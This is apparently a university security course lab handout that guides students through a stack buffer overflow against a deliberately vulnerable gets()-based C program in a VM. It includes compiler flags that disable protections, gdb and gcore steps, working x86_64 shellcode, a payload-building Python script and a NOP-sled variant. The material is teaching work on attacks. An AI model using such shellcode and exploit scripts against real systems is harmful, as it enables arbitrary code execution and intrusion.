CSci 4271W (011 and 012 sections) Lab Instructions

Lab 3 **February 10th, 2025**

Ground Rules. You may choose to complete this lab in a group of up to three students. Before you leave the lab, **make sure you have submitted to Gradescope, you included all group members on the submission, and the autograder found all required files!**

1 Walk-through: a simple stack smashing attack

In this lab, we'll walk through the steps to implement a stack smashing attack. Although such straightforward attacks are rarely feasible on modern 64-bit machines, there are many deployed programs and systems that do not support the defenses we've talked about in class (e.g., in embedded systems), and some of the same techniques we will use in developing the attack serve as a starting point for the more advanced attacks that are still deployed in practice.

2 Getting started

As usual, our instructions have you use your VM to carry out this lab's activities. Today's buggy software is not as dangerous as some because it doesn't have any special privileges, and you wouldn't leave it running in a way others could access it. But also, we will use some debugging features that are disabled by default in Ubuntu (and on CSE Labs) for security reasons. When you connect to your VM, you can use the `-X` option in ssh to allow access to GUI programs, i.e. when you connect from the CSELabs terminal, type `ssh -X student@csel-xsme-s25-csci4271-NNN`.

2.1 Download the vulnerable program

Get the (very short) source code for `buggy.c` using `git`:

```
$ git clone https://github.umn.edu/badlycoded/smash.git
$ cd smash
```

2.2 Compile and run the program

Normally you would compile a simple `C` program like `buggy` using `gcc -g -o buggy buggy.c`, but we are going to turn off many of the mitigations modern OSes and compilers use to prevent stack smashing. We do this by adding three extra options to the compiler:

- The flag `-fno-stack-protector` turns off stack cookies and some automated detection of static buffer overflows.
- The flag `-z execstack` turns off the W xor X protection of the stack (making it executable).
- The flag `-no-pie` prevents the main program's code and data segments from being relocated.

So the command we will run each time we need to compile `buggy.c` is:

```
$ gcc -g -o buggy -fno-stack-protector -z execstack -no-pie buggy.c
```

You'll see some compiler warning messages reminding you that we shouldn't be using `gets`, which is of course just the bug we intended.

Additionally, when we run `buggy` we want to prevent ASLR from randomizing the start address of the stack each run, so we will invoke it using:

```
$ setarch -R ./buggy
```

(`buggy` will wait to read a line of input, so hit enter to get the program to finish.)

3 Developing and demonstrating the attack

Take a look at the contents of `buggy.c` in a text editor. (Your VM should already have `vim` or `nano`, two common terminal-based editors, installed. Other editors like `emacs` or `gedit` are available if you `apt install` them first; `gedit` is an easy-to-use graphical editor that might be a safe place to get started if you're unsure. VS Code can be installed on your VM but it's a bit more complicated.) You'll see the function that we want to exploit, `vulnerable`:

```
void vulnerable() {
  char buf[64];
  gets(buf);
  return;
}
```

The function `gets` reads characters from the standard input stream until it reads a newline (`\n`) or end-of-file, and places them into its argument buffer. So if we run `buggy` and enter more than 64 characters of input, the program will "smash the stack" of `vulnerable` and start writing over the frame pointer, return address, and other stack contents of the running `buggy` executable.

Our plan is to come up with an input string, longer than 64 bytes, that will:

1. Put the code we want to run at the start of `buf`.
2. Overwrite the return address of `vulnerable` with the address of `buf`

Once we have created such a string we can use a pipe or redirection to pass it to `buggy` and get a shell.

3.1 Find the return address

In order to do perform step 2 above, we need to know where `buf` sits on the stack, and how many words there are past `buf` to the return address of `vulnerable`. That is, when `vulnerable` calls `gets`, the stack will look something like this:

```
bottom of stack   |             |
frame for main -> +-------------+
                  | return addr |
                  +--------------+
                  |(other stuff)| <- how much stuff is here?
                  +--------------+
                  | buf[56..63]  |
6 more words here   +--------------+
                  | buf[0..7]    |
        %rsp ->     +--------------+
```

We need to know both how many bytes to put before the return address, and also the address where our code will be placed (so we can make `vulnerable` jump to this address.)

A debugger like GDB is a useful tool for finding out what is happening inside a program, though it is often only possible to run a debugger in a testing environment rather than on the system you are attacking. And relevant to our goal of determining the address we should use for the shellcode, running inside versus outside of GDB is one of several factors that can affect the position of stack frames, since the environment variables passed to a process are slightly different when it is started under GDB. So we will take the approach of starting our buggy program outside of GDB, but collecting what is called a core dump file reflecting the state of memory at a point in the program's execution, which GDB can examine later. Creating the core dump is actually also based on GDB, but wrapped for convenience as a separate program named `gcore`. So as a preparatory step, make sure that GDB is installed and configure a system permission to allow GDB to attach to other running processes with the following commands:

```
$ sudo apt install gdb
$ sudo sysctl -w kernel.yama.ptrace_scope=0
```

Now we can get the information we need in several steps:

1. First we'll get the address of `buf` and one other quantity that will be useful for us, using a debugger. Start `buggy` as a background process by adding an `&` to the end of the command:

```
$ setarch -R ./buggy &
```

This will print a "[job number]" and process id (pid) on the next line, something like `[1] 3142` (The job number should be 1, but you will see a different process id. Replace `3142` with whatever you see in the following commands.) The process will stall waiting for input; we'll take this opportunity to get a core dump that can be loaded in `gdb`. We'll get the dump using `gcore` (the part of the command starting from `#` is a comment that you don't have to type):

```
$ gcore -o buggycore 3142 # dump core - replace 3142 with your pid
```

This will create a core file named `buggycore.3142` (again, not actually `3142`). We can load this in `gdb` as follows:

```
$ gdb buggy buggycore.3142 # not actually 3142
```

And once we're in `gdb` we can print a stack trace using the `bt` command: (note that some of the numbers might be different in your trace:)

```
(gdb) bt
#0  0x00007ffff7af4081 in __GI___libc_read (fd=0, buf=0x602670, nbytes=1024)
  at ../sysdeps/unix/sysv/linux/read.c:27
#1  0x00007ffff7a71148 in _IO_new_file_underflow (fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>)
  at fileops.c:531
#2  0x00007ffff7a723f2 in __GI__IO_default_uflow (fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>)
  at genops.c:380
#3  0x00007ffff7a641fd in _IO_gets (buf=0x7fffffffWXYZ "") at iogets.c:38
#4  0x00000000004005aa in vulnerable ()
#5  0x00000000004005d2 in main ()
```

Look at frame 3 in the backtrace: it tells us what the address of `buf` is! (you'll see something different than `WXYZ` in the last four hex digits, representing the two least-significant bytes of the address.) Record this somewhere because we'll need it later.

While we're in `gdb` let's also grab one more thing: the address of the function `somethingelse`:

```
(gdb) print somethingelse
$1 = {void ()} 0x40ABCD <somethingelse>
```

Record this too, then exit the debugger by typing `quit` (and hit enter.) Then at the shell prompt type `fg` to resume the backgrounded copy of `buggy` and hit enter twice to let it finish.

2. Now that we have the address of `buf` and `somethingelse` we'll figure out how many words there are on the stack between the start of `buf` and the return address of `vulnerable`. Let's start making a python script to deliver our "payload" to `buggy`. In your favorite editor (on the VM) create the file `inject.py`:

```python
#!/usr/bin/python3
import sys
bufstr=b"\xYZ\xWX\xff\xff\xff\x7f\x00\x00"
okthen=b"\xCD\xAB\x40\x00\x00\x00\x00\x00"
numwords = int(sys.argv[1])
sys.stdout.buffer.write(okthen*numwords+b'\n')
```

Replace CD, AB, WX, and YZ with the hex digits you found in `gdb`. You should also make `inject.py` executable by running `chmod +x inject.py` in the terminal. (Notice that because we are using raw bytes rather than character-encoded data, the strings are prefixed with `b` and we can't just "`print`" our output but have to use the longer `buffer.write` method.)

This script will print out a (byte)string that would put the address of the `somethingelse` function in `numwords` consecutive words on the stack. (Notice that because x86 is little-endian the least significant byte in a word has the lowest address, so you need to reverse the order of the bytes to write an address onto the stack as a string.) Now let's do some binary search to find out how many copies is enough to overwrite the stack. Start by confirming that 1 word isn't enough (that's not even going to fill `buf!`):

```
$ ./inject.py 1 | setarch -R ./buggy
Enter at most 63 chars:
Thank you!
```

Now let's try some really huge number of words, say 128:

```
$ ./inject.py 128 | setarch -R ./buggy
Enter at most 63 chars:
OK then!
```

Hey, look at that! We got `vulnerable` to "return" to `somethingelse`! You can use binary search or other similar trial-and-error, to find the smallest number of words that results in a call to `somethingelse`. (For some values close to critical one, you may see other buggy behaviors like a segmentation fault or an infinite loop.) Once you get the right number `NN`, change the `numwords=int(sys.argv[1])` line in `inject.py` to `numwords=NN`. So now `inject.py` looks like

```
#!/usr/bin/python3
import sys
bufstr=b"\xYZ\xWX\xff\xff\xff\x7f\x00\x00"
okthen=b"\xCD\xAB\x40\x00\x00\x00\x00\x00"
numwords = NN
sys.stdout.buffer.write(okthen*numwords+b'\n')
```

3.2 Get the shellcode

Next we need a sequence of characters that encodes the instruction sequence to call a shell (the shellcode.) The website shell-storm has an archive of shell code strings for various architectures and purposes. We'll pick a Linux x86_64 example taken from here and add it to our `inject.py` script. The shellcode uses the `execveat` system call to replace the current process with `/bin//sh`. (The double slash isn't a typo, it is equivalent to a single slash but chosen so that the string `/bin//sh` fits exactly in 64 bits.)

```
#!/usr/bin/python3
import sys
bufstr=b"\xYZ\xWX\xff\xff\xff\x7f\x00\x00"
okthen=b"\xCD\xAB\x40\x00\x00\x00\x00\x00"
shellcode =  b"\x6a\x42\x58\xfe\xc4\x48\x99\x52" + \
  b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f" + \
  b"\x73\x68\x57\x54\x5e\x49\x89\xd0" + \
  b"\x49\x89\xd2\x0f\x05\x90\x90\x90"
numwords = NN
sys.stdout.buffer.write(shellcode + (numwords-4)*bufstr + b'\n')
```

Two other changes to notice: we padded the 29-byte string with `\x90` bytes, which are "no ops", to make sure the return address would stay word-aligned; and we replaced `okthen` with `bufstr` to make `vulnerable` return to our shellcode.

3.3 Inject the Payload

OK, we should be ready now! Have `inject.py` make a `payload` file for us:

```
$ ./inject.py >./payload
```

You can examine this file using `xxd` to see that the hex bytes match what you expect:

```
$ xxd payload
00000000: 6a42 58fe c448 9952 48bf 2f62 696e 2f2f  jBX..H.RH./bin//
00000010: 7368 5754 5e49 89d0 4989 d20f 0590 9090  shWT^I..I.......
00000020: YZWX ffff ff7f 0000 YZWX ffff ff7f 0000  ??......??......
00000030: YZWX ffff ff7f 0000 YZWX ffff ff7f 0000  ??......??......
00000040: YZWX ffff ff7f 0000 YZWX ffff ff7f 0000  ??......??......
00000050: 0a
```

(You should see *your* value of the hexdigits YZ XW, and their corresponding characters in place of `??`.)

Then run `buggy` from the payload:

```
$ setarch -R ./buggy <./payload
Enter at most 63 chars:
$
```

And… nothing happened? What's going on here? The absence of `Thank you!` is a sign that something different from normal execution is happening. Assuming we had the right constants and shellcode, when the `execve("/bin/sh")` system call happens, the shell inherits its standard input from the `buggy` executable, which is at the end of the file after reading the payload. But if it gets to the end of its input, the shell will know there will be no more commands for it and exit. To solve this problem, we need to write the payload to `buggy`'s `stdin` while continuing to pipe further inputs to the process. We can use the Unix command `cat` with the argument `-` to pipe the standard input into buggy after `payload`

```
$ cat payload - | setarch -R ./buggy
```

The shell still won't print a prompt, since its input isn't a terminal, but if we type commands they will be executed by the subshell. Type <`ctrl-D`> to exit the subshell, and we're all done!

A common variant of this type of attack would be to replace some of the copies of `bufstr` at the end of the payload with words filled with `\x90` bytes at the beginning. This is called a `NOP`-sled, and in effect it allows us to be off a little in our guess about where `buf` sits in memory: as long as the return address points somewhere into the string of `\x90`-bytes, the control flow/execution will "slide" past the `NOP`s and eventually hit the shellcode. For example we might write our payload script like this:

```python
#!/usr/bin/python
import sys
bufstr=b"\xYZ\xWX\xff\xff\xff\x7f\x00\x00"
shellcode =  b"\x6a\x42\x58\xfe\xc4\x48\x99\x52" + \
  b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f" + \
  b"\x73\x68\x57\x54\x5e\x49\x89\xd0" + \
  b"\x49\x89\xd2\x0f\x05\x90\x90\x90"
numwords = NN
noplen = 4 # 4 words of wiggle room
nopsled = b"\x90"*noplen*8 # a word is 8 bytes of NOPs
sys.stdout.buffer.write(nopsled + shellcode + (numwords-(noplen+4))*bufstr + b'\n')
```

This could be needed because (even with ASLR disabled) the location of the stack can vary based on the environment variables and the arguments to the executable. (On the other hand, if the goal is to return to a location in the text segment like our initial testing did, a `NOP` sled is not needed.)

4 Variants and more information

You might notice that for the attack to work, it was important that the shellcode not contain a byte value `0x0a` that would be interpreted as a newline, since `gets` would stop reading at a newline. This kind of limitation is common: sometimes it might be important that the injected code avoid certain characters, or use a very restricted set of characters (e.g. alphanumeric); or it might be important to generate shell code of a certain length, or for a different objective, or that can be obfuscated or easily mutated to avoid detection. The Metasploit Framework is a penetration-testing/exploit development toolkit that includes, among other things, a tool named `msfvenom` which can be used to generate "payloads" that satisfy requirements of these types.

When the target program is protected by DEP (W xor X), then the most common attack is to construct a "Return-Oriented Programming" (ROP) payload. If there's not already a useful function to return to, a ROP payload builds one out of a series of "gadgets" consisting of a small number of instructions followed by `ret` instructions. A nice overview of the idea behind this technique is here and Metasploit also has a tool (`msfrop`) for finding locations of common gadgets in an executable, but we will not expect you to be able to construct such payloads for this class.

5 All done!

Once you've done everything through the payload injection, use 'scp' to copy your `inject.py` script to your lab machine. Now you are ready to upload this file to Gradescope. Go to the Lab 3 assignment in gradescope, and click in the "DRAG & DROP" box to select the `inject.py` file from your desktop and upload it. Make sure you include all of your group members in the submission!

Once you've submitted the file, the autograder will test the to make sure the proper file was submitted, and notify you if it's missing, within a few minutes. We'll manually review your `inject.py` file, and if you have the correct values of `WXYZ`, `NN`, and the shellcode step present, you'll receive full credit for the lab.

Congratulations, you've finished Lab 3!